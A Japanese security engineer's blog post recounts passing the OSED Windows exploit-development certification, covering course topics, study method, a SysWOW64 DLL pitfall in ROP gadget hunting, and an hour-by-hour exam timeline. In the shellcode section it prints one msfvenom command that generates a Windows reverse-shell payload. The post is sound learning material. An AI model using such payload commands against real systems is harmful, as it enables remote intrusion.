本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。

最新情報

2024.08.14

Offensive Security Exploit Developer (OSED) 受験記

セキュリティエンジニアの井餘田です。
先日OffSec社が提供している認定試験Offsensive Security Exploit Developer(通称OSED)に合格しました。 その際の受験記を今回ブログとして書こうと思います。

以前弊社ブログで公開したOSWE受験記同様の注意事項となりますが、本稿の内容は試験受験時の2024年7月時点かつ、個人の感想です。最新の情報や正確な内容は公式情報やOffSec社にお問い合わせをお願いします。また、試験の詳細な内容については言及が禁止されているため、曖昧な記載となることをご理解ください。

OSEDについて

OffSec社が提供しているトレーニング「EXP-301: Windows User Mode Exploit Development」の認定試験にあたるのが「OSED」となります。
このコースではWindowsのx86 32bitバイナリのexploitに焦点を当てた内容を学習することができます。

トレーニングについて

シラバスにもある通り、扱う脆弱性はStack OverflowやFormat String Bugであり、それに関係する攻撃テクニックとしてSEH Overflow, Egghunter, Return Oriented Programing(ROP)といった内容を学習することができます。
また周辺知識としてIDA ProやWinDBGの使い方、シェルコードの作成方法なども学習することができます。注意点としてHeap領域周りの話や64bitバイナリについてはこのコースでは扱いません。
各章には演習問題が用意されており、Exerciseとより難しいExtra Mileという分類がされています。また各章の演習問題に加えてテキストの巻末部分に、学習した内容を使って挑戦する問題が3問用意されております。
各章の題材で使用するラボ環境はトレーニング開始から90日間使用可能です。

試験内容について

他のOffSec社の300番台の試験と同様、実技試験が47時間45分、実技試験終了後24時間以内にレポート提出というような流れでした。
問題は全部で3問あり、合格最低点をとるためには2問が必要になっています。
詳細な内容については公式のガイドラインを参照ください。

受験動機

筆者は1年半ほど前に同じOffSec社が提供する試験OSWEを合格しており、しばらく期間が空いたので他の試験に挑戦したいなと考えておりました。
筆者自身、普段の業務ではWeb診断を行っていますが、プライベートでは低レイヤの話題に興味があります。休日にはCTFに参加したりしてreversingやpwnのジャンルを解いたりしていましたが、自分が挑戦したものの多くはLinuxの話題が主でした。
そのためあまり知識のないWindowsバイナリのコースについては惹かれるものがありました。
コースの内容は業務であるWeb診断に直接活かせると思えませんが、セキュリティエンジニアとしての守備範囲の拡大などの目的のため上長に相談したところ、受験の承諾を得ることができたため今回挑戦することになりました。

トレーニング開始

コース購入後、OffSec社Webサイトのダッシュボードからトレーニングを受けることができます。
他のコースと同様に、テキストと動画での学習方法が用意されています。自分はコースを通してほぼテキストで学習し、動画を見る機会はほとんどなかったです。
どういった方法で学習するのかは自分に合ったお好みの方法を選択するのが良いかと思います。

自分の学習時の大まかな流れとしては、90日間あるうちの大体前半45日間くらいで一通りテキストを読み各章のExerciseまでの問題演習を終えました。
残りの後半45日間くらいでExtra Mileの問題と、模擬試験として巻末の問題3問を時間をはかって挑戦したりしてました。
巻末の問題の中には結構難しいものも含まれており、想定していたよりも時間がかかったので、OffSec社の公式Discordにアクセスしヒントを聞いて解きました。
極力試験を意識して自力で解こうと思っていたので、詰まった際は「これ試験で解ききれるか...?」と一瞬不安になりましたが、OSWEを受けたときは個人的にトレーニングで扱う問題の方が試験より難しく感じたことを思い出し、あまり考えないようにしました。
実際今回もトレーニングで扱う問題の方が難しいと自分は感じたので、トレーニング中に出題される演習問題は自力で解けなくても、解法について正しく理解できれば、そこまで気にする必要はないかなと思います。

OffSec社の300番台の試験ではOSMRの次に所要推定時間が長かったですが、ここら辺は事前知識によって変わってくると思います。
自分はOSWEの方がテキスト一周するのに時間を要した感覚で、ASLRやDEPなどLinuxと共通の概念をあらかじめ知っている場合はOSEDのテキスト自体はスムーズに終えられる印象です。

トレーニングの感想

トレーニングを受ける中で面白いと感じた点やつまづいた点を以下にいくつかピックアップしてみました。
今後受験する方はもしかしたら参考になるかもしれません。

Windowsのシェルコードの書き方

筆者はLinux環境でのシェルコード作成はCTFなどで経験がありましたが、Windowsに関してはほとんど知識がなく、どういったWindowsAPIを使用するかも知らない状態でした。
そのため、この手法についてはとても興味があり、時間をかけて学習しました。
学習してみての印象ですが、Linuxのシェルコードに比べて注意するべき点が多く、ペイロード長も長くなりがちであるように感じました。

例えばWindowsでのTCPのリバースシェルを行うペイロードは、コース中でも使用する以下のmsfvenomコマンドによって作成することができます。(コースではツールに頼らず1からシェルコードを作成する章もあるのでご安心ください)

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=31337 -f python

このコマンドによって作成されるペイロードは300バイトを超えていました。

一方でLinuxでのシェルコードをshell-stormで探してみると、同じようなリバースシェルを行うペイロードで92バイトのものが見つかります。

この要因の一つとして、Windows環境ではシェルコード内で呼び出すWindowsAPIが存在するdllファイルが環境により異なるため、汎用的なシェルコードを作成しようとすると目的のWindowsAPIのアドレス番地の特定など必要な手順がより多くなっていることが挙げられます。
Linuxに比べて理解に時間はかかりますが、副次的にWindowsAPIの知識なども学べて非常に楽しかった記憶です。

※注意点
上記の比較はあくまで参考であり、どちらがより汎用的に実行可能かなどの検証はしていないため、これらの観点に注意すると単純な比較はできないと思われます。 Windows環境でも特定のバージョンに絞ればもっと短縮させることは可能であると考えられます。

ROP chainの作成

脆弱性のリサーチや問題を解くにあたり、リバースエンジニアリングやファジングによって脆弱性を探す、見つけた脆弱性を利用して目的を達成する、成功したペイロードをより精製していくなどなど、いろいろなフェーズが存在すると思います。
その中でもやはり「見つけた脆弱性を利用して目的を達成する」フェーズがパズル感覚があり個人的には一番面白いと感じます。

今回のコースの内容でいうと、まさにROPがパズルのように攻撃を組み立てていく手法です。
大まかに説明するとROPとは、対象の実行ファイルやそこからロードされるライブラリの中のコード片(gadget)を使って攻撃を組み立てていくような手法です。 目的を達成するためのいい感じなgadgetが存在するかは実行ファイルやライブラリ依存なので、難易度は対象ファイルによって変わってきます。

CTFのpwnジャンルでもよく扱われる手法なので、筆者もROPペイロードの作成自体は何度も経験がありましたが、今回のコースで扱った例題は今までの経験の中でもかなり時間を要する部類だったように思います。

また詰まった点として、これはかなり非本質的で初歩的なミスになりますが、気づくのにかなり時間を要したので記載しておきます。
トレーニング、試験で扱うバイナリはすべて32bitですが、使用する環境はいずれも64bitのWindowsVMです。
WinDBG上で対象バイナリがロードする汎用DLLのPathを調べるとC:\Windows\System32\配下と表示されますが、
実際は32bitバイナリのDLLはC:\Windows\SysWOW64\配下の32bitのDLLがロードされます。

そのためROP gadgetなどを探す際にSystem32以下のDLLで探していると、WinDBGでgadgetの番地でブレークした際に 命令が一致しない、みたいなことが起きます。恥ずかしながら自分はこれに長時間はまっておりました。

受験時タイムライン

受験は日本時間で10:00から開始に設定しました。 当日の流れは大体以下のような流れで問題を解きました。

時刻 経過時間 作業内容
1日目 10:00 00時間 00分 試験開始。ざっと問題全体をみて問題3が時間がかかりそうだったので最後に回すと決め、問題1から攻略開始。
1日目 18:30 08時間 30分 問題1の攻略完了、休憩に入る。
1日目 20:00 10時間 00分 再開。重そうだと見ていた問題3を先に見ておこうと思い着手。
1日目 22:00 12時間 00分 問題3はざっと確認できたので、先に問題2を解く方向にシフトチェンジ。
2日目 03:30 17時間 30分 問題2攻略完了。ここまでで合格点に達したので安心して就寝。
2日目 10:30 24時間 30分 再開。最低限必要なレポートを準備するために問題1,2のレポートを日本語で作成開始。
2日目 15:30 29時間 30分 問題1,2の日本語レポート完成。問題3を再開。
2日目 23:00 37時間 00分 問題3の攻略完了。問題3の日本語レポート着手。
3日目 02:00 40時間 00分 問題3のレポート作成中にソルバが完全でないことに気づきバグ取りを開始。
3日目 05:00 43時間 00分 問題3バグ取り完了、レポート作成再開。
3日目 07:00 45時間 00分 問題3の日本語レポート完了。この時点で3時間ほど余っていたが試験を終了し、就寝。
3日目 13:00 51時間 00分 起床し、日本語レポートの内容を英語にする作業。
3日目 17:00 55時間 00分 レポート提出完了。

試験期間中(計47時間45分)結果作業の割合としては大体このような配分となりました。
問題1: 8時間 30分
問題2: 5時間 30分
問題3: 12時間 30分
レポート作成: 10時間 00分
休憩・睡眠: 11時間 15分

合格通知

レポート提出から1.5日くらいで合格通知のメールが届きました。 osed.png

全体通しての感想

Linuxとの共通概念もあったものの、シェルコード作成やSEH周りの話などWindows環境特有のトピックは新鮮でとても勉強になりました。
シェルコード中で使用するWindowsAPIや構造体などを調べる時間もとても有意義であったように感じます。
またbad chars(0x00などのペイロード中に含むことができない文字)などの制約の中、限られたgadgetでROPを組めた瞬間が一番exploit力をつけられたなと感じられました。 勉強した知識を使って、Real Worldでのwindowsバイナリの脆弱性探しも挑戦してみようかと思います! ここまで読んでいただきありがとうございました!